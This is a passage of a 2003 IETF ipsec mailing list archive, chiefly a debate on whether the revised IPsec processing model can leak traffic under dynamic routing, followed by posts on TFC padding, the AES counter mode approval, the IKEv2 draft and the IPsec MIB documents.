, ipsec@lists.tislabs.com Subject: Re: revised IPsec processing model References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> <3F2EC97D.5050800@isi.edu> <3F2EEEB2.5030109@isi.edu> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Stephen Kent wrote: > At 16:39 -0700 8/4/03, Joe Touch wrote: > >> Stephen Kent wrote: >> >>> At 14:00 -0700 8/4/03, Joe Touch wrote: >>> >>>> One other question: >>>> >>>> What happens to packets when the IPsec-time forwarding lookup >>>> differs from the forwarding that actually happens when the packet >>>> would be emitted? >>>> >>>> I.e., it seems possible that if I had weak or no encryption on one >>>> link, that it might be possible to leak such packets out onto a link >>>> that I needed strong protection on. If this is not the case, a >>>> specific example would help. >>> >>> >>> If I understand correctly, your concern is that there could be a >>> mismatch between an SPD lookup that maps a packet to a interface that >>> is deemed implicitly secure and thus does not warrant IPsec >>> protection, but a later forwarding decision that puts the packet out >>> over a link that does warrant protection. Is that right? >> >> >> Yes. >> >> I certainly agree that this would be a "bad thing" and one must >> configure the SPDs and the forwarding tables to avoid the problem. >> >> IPsec can have no control over the forwarding tables. > > I cam see how you might come to that conclusion in some contexts, but it > certainly is not true in all contexts. For example, some vendors of BITW > and SG IPsec products provide a unified management interface that allows > a sys admin to configure the forwarding tables and the SPDs together, to > avoid the sort of problems we both agree are a concern. An implementation may certainly control both the SPDs and forwarding tables in concert. However, short of specifying that in 2401bis, it would not be required, and thus open a substantial security hole. >> Other than ensuring that one can -never- configure two tunnels with >> one being weaker, there doesn't seem to be a solution that is >> enforceable within IPsec using this architecture. > > This is definitely not true, as stated. What I think you mean to say is > that IF we specify two or more entries in multiple SPDs for the same > class of traffic (e.g., the same selector sets) That's assumed when we're talking about dynamic routing; otherwise, the traffic doesn't go out two different SAs depending on the routing table ;-) > AND they have different > security properties (e.g., IPsec protection vvs. bypass) THEN an error > in the lookup that selects an SPD (and virtual interface) or in the > lookup that selects the ultimate outbound interface, could result in a > security breach. The remainder is basically what I said. And (again) this isn't an 'error'; it's normal operation _whenever_ the routing table changes under constant packet load. > But, to get into this situation we have to have several > precursor conditions satisfied, and I expect that in many environments > the configurations will not be so complex as to facilitate these sorts > of problems. I believe I have given an entirely reasonable set of configurations that are desired for those using dynamic routing. It would rarely be the case that two alternate forwarding tunnels would have _exactly_ the same security properties. >>> If we allow the first forwarding table to select the appropriate SPD, >>> then we have to rely on that forwarding function to operate >>> correctly, IF we allow any sensitive traffic to be emitted without >>> IPsec protection on ANY link. >> >> I'm considering a case where the forwarding table isn't malicious; the >> trick is that this model (using forwarding inside IPsec) requires that >> there be a lock between doing a forwarding lookup and emitting the >> packet. >> >> A forwarding table must be able to change, e.g., that's the definition >> of dynamic routing. > > But not all routing is dynamic. Agreed. If the proposed solution is limited to static routing environments, sure, fine - there's still the issue of the missing next-hop info (which hasn't been addressed yet), but no issue of leakage. However all my issues with this solution have presumed the primary reason for its use, or at least a major reason, is to support dynamic routing. ... ... >> Aggred - but again, it's not malicious behavior, but normal operation >> that might cause this. > > If normal behavior in common circumstances would cause this to happen, > then the configuration is inherently insecure. Or the mechanism. ;-) > If that possibility can > be detected by a config admin tool, then the admin can be warned. That puts the reliability of security in a tool that needs to look at more than the SPD, i.e., confirming that IPsec isn't a 'closed bottle'. >>> Frankly, this is why I worry about anything other than the trivial >>> case with one SPD and no per-interface distinctions about what >>> classes of traffic to protect. If the WG feels that we do not >>> require per-interface SPDs, as Mark suggested, I am happy to make >>> that change. But I note that Mark did call for multiple SPDs (just >>> not tied to an interface by the first forwarding function), and I see >>> the same opportunity for security problems due to lookup errors in >>> that case as well. >> >> >> Agreed. Note that this is not a problem with the solution we propose, >> because the routing table is involved exactly once for each packet for >> us. > > I don't see how this problem is avoidable in any context where you > maintain that a table used for forwarding is outside the scope of the > security boundary. Could you elaborate, without merely referring to > your ID? In our solution, a packet A is forwarded to an encapsulation interface where it is wrapped B(A) and the result [header=B] is indexed in an SPD and the result is forwarded. Dynamic routing, in this case, determines whether A is wrapped with B or another header (e.g., C). The encryption step - whether involving routing lookups to resolve the SPD or not - relies on routing table entries and SPD entries that are, by _construction_, static, _even in a dynamically-routed environment_ (the entries at issue are internal to the node, by the way in which we create 'tunneled IPsec traffic' - see our ID for those details). It seems easier to control the interaction between forwarding and IPsec in the above, notably because dynamic routing would affect only the A->B or A->C step. And as a result, typical changes in the dynamic routing do not affect whether packets using different paths could go to the incorrect next-hop. Note that under this solution: 1. the routing table doesn't determine security policy, only IPsec does 2. correct configuration of the tunnels _does_ involve coordianted configuration of the encapsulation and encryption steps, but isn't compromised by expected routing table changes >>> I think the fundamental problem here is the opportunity to emit >>> traffic without appropriate protection, due to a mismatch between >>> what an SPD says and what a forwarding function does. This is >>> ultimately a config management problem, made worse by a desire to >>> support fancier access controls and fancier forwarding options. >> >> >> Agreed - except that, as above, I don't see how to configure dynamic >> routing except across two _identically protected_ tunnels. That is a >> requirement that severely limits the utility of such a solution, IMO. > > First, we probably do not agree on the extent to which dynamic routing > is always going to be a factor here. Agreed. We're certainly focusing on support for dynamic routing, or at least the impact of dynamic routing on any IPsec configuration. The key issue is that dynamic routing is often enabled independently of IPsec; coupling them together and describing the constraints is, I believe, a significant issue that probably warrants a separate document (e.g, our ID ;-) However, if your proposed solution precludes dynamic routing altogether, it may not be a viable alternative. > Second, there are means to provide > security for routing data. For example, in high assurance contexts where > IPsec-like protection is to be employed, it is appropriate to use S-BGP > to ensure that the ability to advertise prefixes for the hosts "behind" > a security device is done securely, i.e., the advertisements are > authorized. Certainly. However, that would require that this document, beyond adding forwarding as an explicit step, further describe the scope under which IPsec could be deployed in dynamically routed environments at all. IMO, since there are ways of making security independent of expected routing changes while allowing alternate paths for the same packet, further limiting the scope of IPsec can and should be avoided. Joe From owner-ipsec@lists.tislabs.com Mon Aug 11 11:55:10 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7BItAqt066029; Mon, 11 Aug 2003 11:55:10 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA28477 Mon, 11 Aug 2003 14:07:48 -0400 (EDT) Message-ID: <3F37DD33.8030604@isi.edu> Date: Mon, 11 Aug 2003 11:15:15 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030529 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Duffy CC: Stephen Kent , ipsec@lists.tislabs.com Subject: Re: revised IPsec processing model References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> <3F2EC97D.5050800@isi.edu> <5.2.0.9.0.20030804231150.01e39840@localhost> In-Reply-To: <5.2.0.9.0.20030804231150.01e39840@localhost> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Mark Duffy wrote: > Hi all, > > I'm a bit mystified about this line of discussion. The change that > Steve has proposed in the processing model is IMO a clarification (in > that the packet forwarding decision that takes place in an IP device is > explicitly recognized) and a generalization (in that it recognizes that > an implementation *may* make more than one "forwarding" decision on a > packet, an implementation *may* pass a packet through more than one SPD > and IPsec treatment, and the "forwarding" function used is beyond the > scope of IPsec.) There is nothing in this that *requires* any > implementation to take advantage of any of that. So I would expect that > if the RFC 2401 model is sufficient for a given purpose, the proposed > one should be also. No? This "clarification" highlights an undesirable interaction between dynamic routing and IPsec. While we wouldn't want that interaction to be 'required', highlighting it alone is insufficient if the interaction has undesirable consequences. > There is always the risk of misconfiguring the device (any configurable > IPsec device) and thereby compromising security. Agreed; however, what we've been talking about is a properly configured device. Unless a) all tunnels with overlapping traffic selectors must have identical security or b) IPsec is not run in conjunction with dynamic routing > I agree that as > flexibility of a device goes up (e.g. from 1 SPD per box to one per > interface, or to more complex behaviors) the risk of misconfiguration > generally goes up. But the benefits of using the device also go up. > This tradeoff between functionality and risk is for those deploying > equipment to make. (Obviously, anyone would be ill-advised to > manufacture or deploy devices that perform improperly as with the > hypothetical race conditions described below.) These 'race' conditions are the result of normal operation, not misconfiguration or misimplementation. Joe > At 04:39 PM 8/4/2003 -0700, Joe Touch wrote: > > >> Stephen Kent wrote: >> >>> At 14:00 -0700 8/4/03, Joe Touch wrote: >>> >>>> One other question: >>>> >>>> What happens to packets when the IPsec-time forwarding lookup >>>> differs from the forwarding that actually happens when the packet >>>> would be emitted? >>>> >>>> I.e., it seems possible that if I had weak or no encryption on one >>>> link, that it might be possible to leak such packets out onto a link >>>> that I needed strong protection on. If this is not the case, a >>>> specific example would help. >>> >>> If I understand correctly, your concern is that there could be a >>> mismatch between an SPD lookup that maps a packet to a interface that >>> is deemed implicitly secure and thus does not warrant IPsec >>> protection, but a later forwarding decision that puts the packet out >>> over a link that does warrant protection. Is that right? >> >> >> Yes. >> >>> I certainly agree that this would be a "bad thing" and one must >>> configure the SPDs and the forwarding tables to avoid the problem. >> >> >> IPsec can have no control over the forwarding tables. >> >> Other than ensuring that one can -never- configure two tunnels with >> one being weaker, there doesn't seem to be a solution that is >> enforceable within IPsec using this architecture. >> >>> If we allow the first forwarding table to select the appropriate SPD, >>> then we have to rely on that forwarding function to operate >>> correctly, IF we allow any sensitive traffic to be emitted without >>> IPsec protection on ANY link. >> >> >> I'm considering a case where the forwarding table isn't malicious; the >> trick is that this model (using forwarding inside IPsec) requires that >> there be a lock between doing a forwarding lookup and emitting the >> packet. >> >> A forwarding table must be able to change, e.g., that's the definition >> of dynamic routing. >> >>> Otherwise, the first forwarding lookup could map the traffic to an >>> SPD that allowed bypass such traffic for a specific interface, but >>> then the traffic could be emitted via a different interface, thus >>> defeating the intent of the policy specification. >> >> >> That's the problem I'm worried about. >> >>> Also, if the SPD does allow bypassing of any sensitive traffic, then >>> the post IPsec processing forwarding lookup also must function >>> properly, lest the same bad effect take place despite the correct >>> functioning of the first lookup (and the correct config of the >>> corresponding SPD). >> >> >> Aggred - but again, it's not malicious behavior, but normal operation >> that might cause this. >> >>> Frankly, this is why I worry about anything other than the trivial >>> case with one SPD and no per-interface distinctions about what >>> classes of traffic to protect. If the WG feels that we do not >>> require per-interface SPDs, as Mark suggested, I am happy to make >>> that change. But I note that Mark did call for multiple SPDs (just >>> not tied to an interface by the first forwarding function), and I see >>> the same opportunity for security problems due to lookup errors in >>> that case as well. >> >> >> Agreed. Note that this is not a problem with the solution we propose, >> because the routing table is involved exactly once for each packet for >> us. >> >>> I think the fundamental problem here is the opportunity to emit >>> traffic without appropriate protection, due to a mismatch between >>> what an SPD says and what a forwarding function does. This is >>> ultimately a config management problem, made worse by a desire to >>> support fancier access controls and fancier forwarding options. >> >> >> Agreed - except that, as above, I don't see how to configure dynamic >> routing except across two _identically protected_ tunnels. That is a >> requirement that severely limits the utility of such a solution, IMO. >> >> Joe From owner-ipsec@lists.tislabs.com Mon Aug 11 14:04:26 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7BL4Pqt074506; Mon, 11 Aug 2003 14:04:26 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA29240 Mon, 11 Aug 2003 16:23:31 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3F37DB9B.5010601@isi.edu> References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> <3F2EC97D.5050800@isi.edu> <3F2EEEB2.5030109@isi.edu> <3F37DB9B.5010601@isi.edu> Date: Mon, 11 Aug 2003 16:29:07 -0400 To: Joe Touch From: Stephen Kent Subject: Re: revised IPsec processing model Cc: Mark Duffy , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Joe, I believe the bottom line here is that you view situations where dynamic routing will affect the choice of an SPD as common, whereas many of us view them as relatively rare. We each have our own models of common vs. rare operation and there is probably no point inn debating further which is more common in what context and/or at what time (now vs. future). As I revise the processing model to take into account the comments I have received, I will try to reword it to be as clear as possible about the security implications associated with different assumptions about routing tables and the extent to which they may change without secure intermediation, as the security implications of such changes. Steve From owner-ipsec@lists.tislabs.com Mon Aug 11 15:18:27 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7BMIQqt082042; Mon, 11 Aug 2003 15:18:27 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id RAA29486 Mon, 11 Aug 2003 17:38:06 -0400 (EDT) Message-ID: <3F380E81.9060209@isi.edu> Date: Mon, 11 Aug 2003 14:45:37 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030529 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Kent CC: Mark Duffy , ipsec@lists.tislabs.com Subject: Re: revised IPsec processing model References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> <3F2EC97D.5050800@isi.edu> <3F2EEEB2.5030109@isi.edu> <3F37DB9B.5010601@isi.edu> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Stephen Kent wrote: > Joe, > > I believe the bottom line here is that you view situations where dynamic > routing will affect the choice of an SPD as common, whereas many of us > view them as relatively rare. We each have our own models of common vs. > rare operation and there is probably no point inn debating further which > is more common in what context and/or at what time (now vs. future). Steve, An IP security architecture ought to support IP, which includes dynamic routing. Dynamic routing necessarily involves overlapping traffic selectors; it is a disservice to assert this is a mere 'difference of opinions'. > As I revise the processing model to take into account the comments I > have received, I will try to reword it to be as clear as possible about > the security implications associated with different assumptions about > routing tables and the extent to which they may change without secure > intermediation, as the security implications of such changes. That is a good first step, but I remain concerned about whether this realization/clarification warrants other, more significant changes. Joe From owner-ipsec@lists.tislabs.com Mon Aug 11 15:54:20 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7BMsKqt083194; Mon, 11 Aug 2003 15:54:20 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id SAA29658 Mon, 11 Aug 2003 18:13:44 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3F380E81.9060209@isi.edu> References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> <3F2EC97D.5050800@isi.edu> <3F2EEEB2.5030109@isi.edu> <3F37DB9B.5010601@isi.edu> <3F380E81.9060209@isi.edu> Date: Mon, 11 Aug 2003 18:17:34 -0400 To: Joe Touch From: Stephen Kent Subject: Re: revised IPsec processing model Cc: ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 14:45 -0700 8/11/03, Joe Touch wrote: >Stephen Kent wrote: > >>Joe, >> >>I believe the bottom line here is that you view situations where >>dynamic routing will affect the choice of an SPD as common, whereas >>many of us view them as relatively rare. We each have our own >>models of common vs. rare operation and there is probably no point >>inn debating further which is more common in what context and/or at >>what time (now vs. future). > >Steve, > >An IP security architecture ought to support IP, which includes >dynamic routing. Dynamic routing necessarily involves overlapping >traffic selectors; it is a disservice to assert this is a mere >'difference of opinions'. > >>As I revise the processing model to take into account the comments >>I have received, I will try to reword it to be as clear as possible >>about the security implications associated with different >>assumptions about routing tables and the extent to which they may >>change without secure intermediation, as the security implications >>of such changes. > >That is a good first step, but I remain concerned about whether this >realization/clarification warrants other, more significant changes. > >Joe Joe, I have had considerable experience developing IP layer security technology over the last 25 years. The dynamic routing concerns you cite have rarely arisen in those systems, but then they also didn't tend to have the equivalent of multiple SPDs. More recently dynamic routing has become an issue for some systems of this sort, and the need to ensure the security of routing data that will be used in a way that might affect security is something that I have personally emphasized. One need not even have multiple SPDs or overlapping selectors for this to be a concern. In revising the processing model I will try to accurately reflect these issues. Steve From owner-ipsec@lists.tislabs.com Mon Aug 11 19:22:26 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7C2MPqt002437; Mon, 11 Aug 2003 19:22:26 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id VAA00371 Mon, 11 Aug 2003 21:37:13 -0400 (EDT) To: Stephen Kent Cc: Joe Touch , Mark Duffy , ipsec@lists.tislabs.com, guttman@mitre.org (Joshua D. Guttman) Subject: Re: revised IPsec processing model Reply-To: guttman@mitre.org (Joshua D. Guttman disp: current) References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> <3F2EC97D.5050800@isi.edu> <3F2EEEB2.5030109@isi.edu> <3F37DB9B.5010601@isi.edu> From: guttman@mitre.org (Joshua D. Guttman) Date: 11 Aug 2003 21:44:20 -0400 In-Reply-To: Message-ID: Lines: 48 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Stephen Kent writes: > As I revise the processing model to take into account the comments > I have received, I will try to reword it to be as clear as > possible about the security implications associated with different > assumptions about routing tables and the extent to which they may > change without secure intermediation, as the security implications > of such changes. It might be useful to consider the methods described in "Authentication and Confidentiality via IPsec" (ESORICS, 2000) by myself, Amy Herzog, and Javier Thayer. That way people could establish that certain security goals depend only on specific aspects of a network's IPsec configuration. In this case, one knows whether those goals could be undermined by changes in routing tables. The paper is available at http://www.ccs.neu.edu/home/guttman, and the abstract is below. More work along this line has been done, including some implementations to analyze configurations. Another paper will be available shortly. Joshua The IP security protocols (\ipsec) may be used via security gateways that apply cryptographic operations to provide security services to datagrams, and this mode of use is supported by an increasing number of commercial products. In this paper, we formalize the types of authentication and confidentiality goal that {\ipsec} is capable of achieving, and we provide criteria that entail that a network with particular {\ipsec} processing achieves its security goals. This requires us to formalize the structure of networks using {\ipsec}, and the state of packets relevant to {\ipsec} processing. We can then prove confidentiality goals as invariants of the formalized systems. Authentication goals are formalized in the manner of~\cite{Schneider96}, and a simple proof method using ``unwinding sets'' is introduced. We end the paper by explaining the network threats that are prevented by correct {\ipsec} processing. -- Joshua D. Guttman MITRE, Mail Stop S119 Office: +1 781 271 2654 202 Burlington Rd. Fax: +1 781 271 8953 Bedford, MA 01730-1420 USA Cell: +1 781 526 5713 From owner-ipsec@lists.tislabs.com Tue Aug 12 07:13:54 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CEDrqt072825; Tue, 12 Aug 2003 07:13:54 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA02340 Tue, 12 Aug 2003 09:22:39 -0400 (EDT) X-Authentication-Warning: gandalf.sctc.com: allison owned process doing -bs Date: Tue, 12 Aug 2003 08:29:39 -0500 (CDT) From: Tylor Allison X-X-Sender: To: Subject: ESPv3 TFC padding Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by lists.tislabs.com id JAA02337 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi, I have a few questions on what folks are doing for the Traffic-Flow Confidentiality (TFC) padding for ESPv3. Is there an algorithm being deployed for determining how much padding to add, or is that implementation specific? Sorry, I couldn't find any documentation for this feature, outside of the ESPv3 draft. I'm trying to figure out if it is best to use a random amount of TFC padding, or to pad out to a certain size (e.g. segment size) for all packets. It would seem that random padding probably isn't sufficient, as if you're trying to mask small packets, adding a random pad will just result in a bigger packet on average, but will still be discernable from a VPN which is just passing large packets. If this is truly implentation specific, I'll just pick what I think is best. But if there has been some discussion on this, or this is a draft out there somewhere, I'd like to try and do as others are doing. Thanks! Tylor -------------------------------------------------------------------------------- Tylor Allison Principal Engineer Secure Computing® Protecting the world's most important networks (TM) www.securecomputing.com NASDAQ: SCUR -------------------------------------------------------------------------------- From owner-ipsec@lists.tislabs.com Tue Aug 12 07:13:54 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CEDrqt072824; Tue, 12 Aug 2003 07:13:54 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA02366 Tue, 12 Aug 2003 09:26:15 -0400 (EDT) X-test-idtracker: no From: The IESG To: IETF-Announce:; Cc: Internet Architecture Board , RFC Editor , Subject: Protocol Action: 'Using AES Counter Mode With IPsec ESP' to Proposed Standard Message-Id: Date: Mon, 11 Aug 2003 15:54:16 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk The IESG has approved the Internet-Draft 'Using AES Counter Mode With IPsec ESP' as a Proposed Standard. This document is the product of the IP Security Protocol Working Group. The IESG contact persons are Steve Bellovin and Russ Housley Technical Summary This is a new cipher description for IPsec. In particular, it describes how to use AES in counter mode within the ESP framework. Counter mode is especially useful for very high speed implementations, since it can be parallelized very easily. Counter mode is easily misused; however, this draft contains adequate warnings, cautions, and requirements to prevent such misue. Working Group Summary There was strong working group consensus to advance this document and it has a significant pull from the community, including groups that need high-speed IPsec. Protocol Quality This document was reviewed for the IESG by Steve Bellovin. From owner-ipsec@lists.tislabs.com Tue Aug 12 07:36:40 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CEaeqt075223; Tue, 12 Aug 2003 07:36:40 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA02442 Tue, 12 Aug 2003 09:55:48 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: References: Date: Tue, 12 Aug 2003 10:00:33 -0400 To: Tylor Allison From: Stephen Kent Subject: Re: ESPv3 TFC padding Cc: Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 8:29 -0500 8/12/03, Tylor Allison wrote: >Hi, > >I have a few questions on what folks are doing for the Traffic-Flow >Confidentiality (TFC) padding for ESPv3. Is there an algorithm being >deployed for determining how much padding to add, or is that implementation >specific? Sorry, I couldn't find any documentation for this feature, >outside of the ESPv3 draft. > >I'm trying to figure out if it is best to use a random amount of TFC padding, >or to pad out to a certain size (e.g. segment size) for all packets. >It would seem that random padding probably isn't sufficient, as if you're >trying to mask small packets, adding a random pad will just result in a >bigger packet on average, but will still be discernable from a VPN which is >just passing large packets. > >If this is truly implentation specific, I'll just pick what I think is >best. But if there has been some discussion on this, or this is a draft >out there somewhere, I'd like to try and do as others are doing. > >Thanks! > >Tylor > Tylor, The safest bet is to add padding to packets to make them all the same size, e.g, on a per-SA basis, but this may yield unacceptable performance in many contexts. So, we have no standard for how to choose the amount of padding to add to traffic. It ought not be an implementation decision, however, but rather a parameter under control of the local admin. Steve From owner-ipsec@lists.tislabs.com Tue Aug 12 09:13:14 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CGDDqt083351; Tue, 12 Aug 2003 09:13:14 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA02880 Tue, 12 Aug 2003 11:30:03 -0400 (EDT) Message-Id: <200308111946.PAA01442@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipsec@lists.tislabs.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipsec-ikev2-09.txt Date: Mon, 11 Aug 2003 15:46:41 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Security Protocol Working Group of the IETF. Title : Internet Key Exchange (IKEv2) Protocol Author(s) : C. Kaufman Filename : draft-ietf-ipsec-ikev2-09.txt Pages : 98 Date : 2003-8-11 This document describes version 2 of the IKE (Internet Key Exchange) protocol. IKE is a component of IPsec used for performing mutual authentication and establishing and maintaining security associations. This version of IKE simplifies the design by removing options that were rarely used and simplifying the encoding. This version of the IKE specification combines the contents of what were previously separate documents, including ISAKMP (RFC 2408), IKE (RFC 2409), the Internet DOI (RFC 2407), NAT Traversal, Legacy authentication, and remote address acquisition. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipsec-ikev2-09.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipsec-ikev2-09.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipsec-ikev2-09.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2003-8-11143344.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipsec-ikev2-09.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipsec-ikev2-09.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2003-8-11143344.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ipsec@lists.tislabs.com Tue Aug 12 09:20:08 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CGK7qt084185; Tue, 12 Aug 2003 09:20:07 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA02966 Tue, 12 Aug 2003 11:42:39 -0400 (EDT) To: ipsec@lists.tislabs.com cc: hilarie@xmission.com, lsanchez@xapiens.com, bwijnen@lucent.com, heard@pobox.com, jshriver+ietf@sockeye.com, rks@cisco.com, byfraser@cisco.com, angelos@cs.columbia.edu, kivinen@ssh.fi Subject: The IPSEC MIB documents From: "Theodore Ts'o" Phone: (781) 391-3464 Message-Id: Date: Tue, 12 Aug 2003 11:49:46 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk There seems to be very little interest within the IPSEC working group towards completing many of the IPSEC MIB documents. To that end, after consulting with the relevant wg chairs and I-D authors, Barbara and I propose the following path forward: 1) That the following I-D's be dropped as IPSEC wg work items: draft-ietf-ipsec-ike-monitor-mib draft-ietf-ipsec-isakmp-di-mon-mib draft-ietf-ipsec-monitor-mib draft-ietf-ipsec-doi-tc-mib 2) Since the IPSP working group has an I-D (draft-ietf-ipsp-ipsec-conf-mib) ready for advancement to RFC status which has a dependency on the draft-ietf-ipsec-doi-tc-mib document, that this document be reassigned to the IPSP working group for completion to support their work. Alternatively, the wg authors of ipsec-conf-mib may decide that is more suitable to lift the necessary sections out of the doi-tc-mib and simply drop it into their document. That decision should be left up to them. 3) That the draft-ietf-ipsec-flow-montioring-mib and draft-ietf-ipsec-flowmon-mib-tc documents should be modified to document exactly what is currently being shipped and deployed by various vendors, and then published as informational RFC's. In the future, there will no doubt be a need to create MIB's for IKEv2 protocol. It is the our opinion as working group chairs that it will probably be better to create a new working group to take on this task. Hopefully this new working group will be able to focus only on this task, and will be able to attract the necessary people with the interest, time, and expertise to craft the necessary MIB documents. This work might use the current IPSEC MIB documents as a base, or they may decide that it is better to start from a clean slate --- that decision should be left up a future working group. - Ted and Barbara From owner-ipsec@lists.tislabs.com Tue Aug 12 09:45:46 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7CGjjqt087201; Tue, 12 Aug 2003 09:45:45 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA03138 Tue, 12 Aug 2003 11:59:53 -0400 (EDT) X-Authentication-Warning: shell4.bayarea.net: heard owned process doing -bs Date: Tue, 12 Aug 2003 